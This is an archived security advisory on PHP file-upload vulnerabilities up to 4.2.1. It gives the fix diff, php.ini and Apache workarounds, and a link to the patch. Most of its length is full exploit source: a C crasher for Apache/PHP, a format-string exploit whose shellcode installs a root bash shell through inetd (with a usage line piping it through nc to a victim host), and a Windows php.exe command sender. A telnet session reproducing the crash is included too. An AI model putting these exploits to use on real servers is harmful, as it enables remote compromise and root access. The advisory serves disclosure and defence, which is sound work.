|
COMMAND Multiple Remote Vulnerabilites within PHP's fileupload code SYSTEMS AFFECTED all versions up to v4.1.1 Update (22 July 2002) PHP v4.2.0, 4.2.1 PROBLEM Stefan Esser reported in e-matters Security Advisory [http://www.e-matters.de] that multiple vunerabilities has been found within PHP's fileupload code : there are several flaws in the php_mime_split function that could be used by an attacker to execute arbitrary code. The following is a list of bugs they found: PHP 3.10-3.18 - broken boundary check (hard to exploit) - arbitrary heap overflow (easy exploitable) PHP 4.0.1-4.0.3pl1 - broken boundary check (hard to exploit) - heap off by one (easy exploitable) PHP 4.0.2-4.0.5 - 2 broken boundary checks (one very easy and one hard to exploit) PHP 4.0.6-4.0.7RC2 - broken boundary check (very easy to exploit) PHP 4.0.7RC3-4.1.1 - broken boundary check (hard to exploit) Most of these vulnerabilities are exploitable only on linux or solaris. But the heap off by one is only exploitable on x86 architecture and the arbitrary heap overflow in PHP3 is exploitable on most OS and architectures. (This includes *BSD) If you wish to understand, see diff below (regarding PHP 4.1.x) Index: rfc1867.c =================================================================== RCS file: /repository/php4/main/rfc1867.c,v retrieving revision 1.71.2.1 retrieving revision 1.71.2.2 diff -u -r1.71.2.1 -r1.71.2.2 --- rfc1867.c 24 Sep 2001 17:48:22 -0000 1.71.2.1 +++ rfc1867.c 21 Feb 2002 18:46:45 -0000 1.71.2.2 @@ -15,7 +15,7 @@ | Authors: Rasmus Lerdorf <rasmus@php.net> | +----------------------------------------------------------------------+ */ -/* $Id: rfc1867.c,v 1.71.2.1 2001/09/24 17:48:22 andi Exp $ */ +/* $Id: rfc1867.c,v 1.71.2.2 2002/02/21 18:46:45 sesser Exp $ */ #include <stdio.h> #include "php.h" @@ -195,7 +195,13 @@ SAFE_RETURN; } } + rem -= loc - ptr; + if (rem <= 0) { + php_error(E_WARNING, "File Upload Mime headers garbled ptr: [%c%c%c%c%c]", *ptr, *(ptr + 1), *(ptr + 2), *(ptr + 3), *(ptr + 4)); + SAFE_RETURN; + } name = strstr(ptr, " name="); + ptr = loc; if (name && name < loc) { name += 6; if ( *name == '\"' ) { Update (6 march 2002) ===================== Gabriel A. Maggiotti posted a proof of concept exploit for Apache/1.3.x + php_4.0.6. This code exploit multipart/form-data POST requests bug. This code only crash apache deamon, not open any shell or execute code in the remote server. PHP supports multipart/form-data POST requests (as described in RFC1867) known as POST fileuploads. Unfourtunately there are several flaws in the php_mime_split function that could be used by an attacker to execute arbi- trary code. I dont know if the vuln I exploit is a known vuln or not. Example: ------- <quote> [gabi@pluto logs]$ ./apache_php host 80 hi.php [gabi@pluto logs]$ cat /www/logs/error_log [Sun Mar 3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation fault (11) [gabi@pluto logs]$ </quote> Greets: ------ A special greets to Fernando Oubi#a and Sebastian Brocher, good friend of mime. A very special greets for a good friend and an excellent Security Consultant Alex Hernandez!!! */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <fcntl.h> #define MAX 1000 #define PORT 80 char *str_replace(char *rep, char *orig, char *string) { int len=strlen(orig); char buf[MAX]=""; char *pt=strstr(string,orig); strncpy(buf,string, pt-string ); strcat(buf,rep); strcat(buf,pt+strlen(orig)); strcpy(string,buf); return string; } int main(int argc,char *argv[MAX]) { int sockfd; int numbytes; int port; char *ptr; char POST_REQUEST[MAX] = "POST ##file HTTP/1.0\n" "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n" "Connection: Keep-Alive\nContent-type: multipart/for" "m-data; boundary=---------------------------1354088" "10612827886801697150081\nContent-Length: 567\n\n---" "--------------------------1354088106128278868016971" "50081\nContent-Disposition: form-data; name=\"\x8\""; struct hostent *he; struct sockaddr_in their_addr; if(argc!=4) { fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]); exit(1); } port=atoi(argv[2]); ptr=str_replace(argv[3],"##file",POST_REQUEST); //ptr=POST_REQUEST; if((he=gethostbyname(argv[1]))==NULL) { perror("gethostbyname"); exit(1); } if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family=AF_INET; their_addr.sin_port=htons(port); their_addr.sin_addr=*((struct in_addr*)he->h_addr); bzero(&(their_addr.sin_zero),8); if( connect(sockfd,(struct sockaddr*)&their_addr,\ sizeof(struct sockaddr))==-1) { perror("connect"); exit(1); } if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1) { perror("send"); exit(0); } close(sockfd); return 0; } -Also- Count August Anton Wilhelm Neithardt von Gneisenau exploit : /* PHP 3.0.16/4.0.2 remote format overflow exploit. * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau * Usage: phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 */ /* * We just printf the shellcode and stuff and nc it to the target */ #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at // the end of the shellcode will be removed as the shellcode is probably // strcatted into the buffer. so do it again in the shellcode. /* * This shellcode is for Linux/x86. * This shellcode spawns a shell and runs the command * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf */ char shellcode[] = { 0xeb,0x41, 0x5e, 0x31,0xc0, 0x31,0xdb, 0xb0,0xa0, 0x89,0x34,0x06, 0x8d,0x4e,0x07, 0x88,0x19, 0x41, 0x41, 0xb0,0xa4, 0x89,0x0c,0x06, 0x8d,0x4e,0x0b, 0x88,0x19, 0x41, 0xb0,0xa8, 0x89,0x0c,0x06, 0x8d,0x4e,0x7f, 0x88,0x19, 0x31,0xd2, 0xb0,0xac, 0x89,0x14,0x06, 0x89,0xf3, 0x89,0xf1, 0xb0,0xa0, 0x01,0xc1, 0xb0,0x0b, 0xcd,0x80, 0x31,0xc0, 0xb0,0x01, 0x31,0xdb, 0xcd,0x80, 0xe8,0xba,0xff,0xff,0xff, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 0x2d,0x63,0xff, /* the string "-c" */ 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, }; #define NOP 0x90 /* * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces * for padding the addresses we embed in our attack buffer on word boundary */ #define PHP3_WARNING 68 #define BUF_LEN 1024 struct system_type { char *name; unsigned int nop; char *shellcode; int shellcode_len; int offset; /* the number of pops we need to get to our own data*/ int already_written; /* number of bytes written by printf by the time we reach the our embedded data */ unsigned int eip_address; /* address where shellcode_address must be put */ unsigned int shellcode_address; /* address of shellcode in memory */ }; struct system_type systems[] = { { "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)", 0x90, shellcode, 270, /* not exact but we got lots of space ;) */ 27, 0x152, 0xbfff9c30, 0xbfff962c, }, // somebody find these and fill it in please. should be // straightforward. { "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)", (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, { NULL, (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, }; void usage (void); void parse_url (char *, char *); void prepare_attack_buffer (char *, struct system_type *, char *); int calculate_precision (unsigned int, int); int main (int argc, char *argv[]) { char attack_buffer[2000]; // we construct the shellcode and stuff here // the target is 1024 bytes long struct system_type *sysptr; char *url; // i hope these things dont get bigger than this char target[2048]; // target will contain only the FQDN unsigned int eip_address = 0, shellcode_address = 0; int ctr = 0; int nop_count; char *walk; int arg; // at least expect a system type and url from the command line if (argc < 3) usage (); // parse arguments while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){ switch (arg){ case 'h': sscanf (optarg, "%x", &shellcode_address); break; case 'e': sscanf (optarg, "%x", &eip_address); break; case 's': sysptr = &systems[atoi (optarg)]; break; case 'u': url = optarg; parse_url (url, target); break; case '?': default : usage (); } } if (eip_address) sysptr->eip_address = eip_address; if (shellcode_address) sysptr->shellcode_address = shellcode_address; prepare_attack_buffer (attack_buffer, sysptr, url); // as of now write it out to stdout. later write it to a socket write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer)); } void prepare_attack_buffer (char *attack_buffer, struct system_type *system, char *url) { int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */ int ctr; char *address; char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n // where x is precision int p1,p2,p3,p4; int nop_count; bzero (attack_buffer, 2000); sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url); // mark strlen here. whatever we write after here appears in the buffer dest_buffer_written = strlen (attack_buffer); strcat (attack_buffer, "\x11\x11\x11\x11"); address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); /* * we need to add %x corresponding to the number of pops we need to reach * our embedded addresses we defined above */ for (; system->offset; system->offset--) strcat (attack_buffer, "%x "); p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written); p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written); p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written); p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written); sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4); strcat (attack_buffer, buf); ctr = strlen (attack_buffer); dest_buffer_written = ctr - dest_buffer_written; dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack attack_buffer += ctr; nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len; memset (attack_buffer, NOP, nop_count); /* * Add our shellcode at last */ attack_buffer += nop_count; strcat (attack_buffer, shellcode); strcat (attack_buffer, "\n"); strcat (attack_buffer, "Content-Length: 1337\n\n"); } void usage (void) { int ctr; fprintf (stderr, " Apache/PHP xploit\n"); fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n"); fprintf (stderr, " for the r00tcrew\n"); fprintf (stderr, " All rights reserved\n"); fprintf (stderr, "\nUsage:\n"); fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); fprintf (stderr, "url: the complete url including FQDN and script on the server\n"); fprintf (stderr, " www.victim.com/info.php3\n"); fprintf (stderr, "available systypes:\n"); for (ctr = 0; systems[ctr].name; ctr++) fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name); fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n"); fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n"); fprintf (stderr, "\n"); exit (1); } void parse_url (char *url, char *target) { char *ptr; strcpy (target, url); if (!(ptr = index (target, '/'))){ fprintf (stderr, "invalid url. specify the script name on the target server too\n"); exit (1); } *ptr = '\0'; } /* * addr_byte contains the byte we need to write out. for example: 2c in * 0xbfff962c, then 96, ff and bf. */ int calculate_precision (unsigned int addr_byte, int already_written_init) { static int already_written = 0; int tmp; if (!already_written) already_written = already_written_init; while (addr_byte < already_written) addr_byte += 0x100; tmp = addr_byte - already_written; already_written = addr_byte; return tmp; } Update (06 April 2002) ====== Another exploit by NTFX [http://www.spymodem.com] : /* concept.c By NTFX <ntx@spymodem.com> * Some code borrowed from an old iis exploit. * * Vulnerable systems: * PHP version 4.1.1 under Windows * PHP version 4.0.4 under Windows * * (c) Legion2000 Security Research , code may be distributed * credit is greatfully given if so.. * Greets: opt1k, I-L, EazyMoney, SpyModem * * Does this work? you tell me. * http://www.legion2000.net http://www.spymodem.com */ #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(int argc, char **argv){ char buffer[1024]; char buf[500]; char rcvbuf[8192]; int i, sock, result; struct sockaddr_in name; struct hostent *hostinfo; if (argc < 2){ printf ("To use type %s <host> /dir/file.executable\n", argv[0]); printf ("Author: NTFX NTX@SpyModem.Com\n"); printf ("Legion2000 Security Research (c)"); printf ("\n\n"); exit(0); } for (;;) { printf ("to exit type erm.. exit!"); printf ("\n\n"); printf ("[enter@cmd /here]#"); gets(buf); if (strstr(buf, "exit")) exit(0); i=0; while (buf[i] != '\0'){ if(buf[i] == 32) buf[i] = 43; i++; } hostinfo=gethostbyname(argv[1]); name.sin_family=AF_INET; name.sin_port=htons(80); name.sin_addr=*(struct in_addr *)hostinfo->h_addr; sock=socket(AF_INET, SOCK_STREAM, 0); result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in)); if (sock < 0){ strcpy(buffer,"GET /php/php.exe?"); strcat(buffer,buf); strcat(buffer, " HTTP/1.0\n\n"); send(sock, buffer, sizeof(buffer), 0); recv(sock, rcvbuf, sizeof(rcvbuf), 0); printf ("%s", rcvbuf); close(sock); } }; }; Update (22 July 2002) ====== Php Group updates, thanks to Stefan Esser of e-matters Security [http://www.e-matters.de] : PHP contains code for intelligently parsing the headers of HTTP POST requests. The code is used to differentiate between variables and files sent by the user agent in a "multipart/form-data" request. This parser has insufficient input checking, leading to the vulnerability. The vulnerability is exploitable by anyone who can send HTTP POST requests to an affected web server. Both local and remote users, even from behind firewalls, may be able to gain privileged access. Update (25 July 2002) ====== Joe testa provided sample session for above bug : The following is an example on how to reproduce the segmentation violation in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86: [jdog@wonderland logs]$ telnet 192.168.x.x 80 Trying 192.168.x.x... Connected to 192.168.x.x. Escape character is '^]'. POST /chad_owns_me.php HTTP/1.0 Content-type: multipart/form-data; boundary=---------------------------123 Content-length: 129 - -----------------------------123 Content-Disposition: filename http://www.rapid7.com/ - -----------------------------123-- Connection closed by foreign host. [jdog@wonderland logs]$ cat error_log [Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit signal Segmentation fault (11) [jdog@wonderland logs]$ Note that a path to an existing PHP file must be used, otherwise the PHP interpreter will not be invoked. SOLUTION Workarounds =========== If you are running PHP 4.0.3 or above one way to workaround these bugs is to disable the fileupload support within your php.ini (file_uploads = Off) If you are running php as module keep in mind to restart the webserver. Anyway you should better install the fixed or a properly patched version to be safe. -Also- If the PHP applications on an affected web server do not rely on HTTP POST input from user agents, it is often possible to deny POST requests on the web server. In the Apache web server, for example, this is possible with the following code included in the main configuration file or a top-level .htaccess file: <Limit POST> Order deny,allow Deny from all </Limit> Note that an existing configuration and/or .htaccess file may have parameters contradicting the example given above. Patch ===== Get PHP 4.2.2 [http://www.php.net]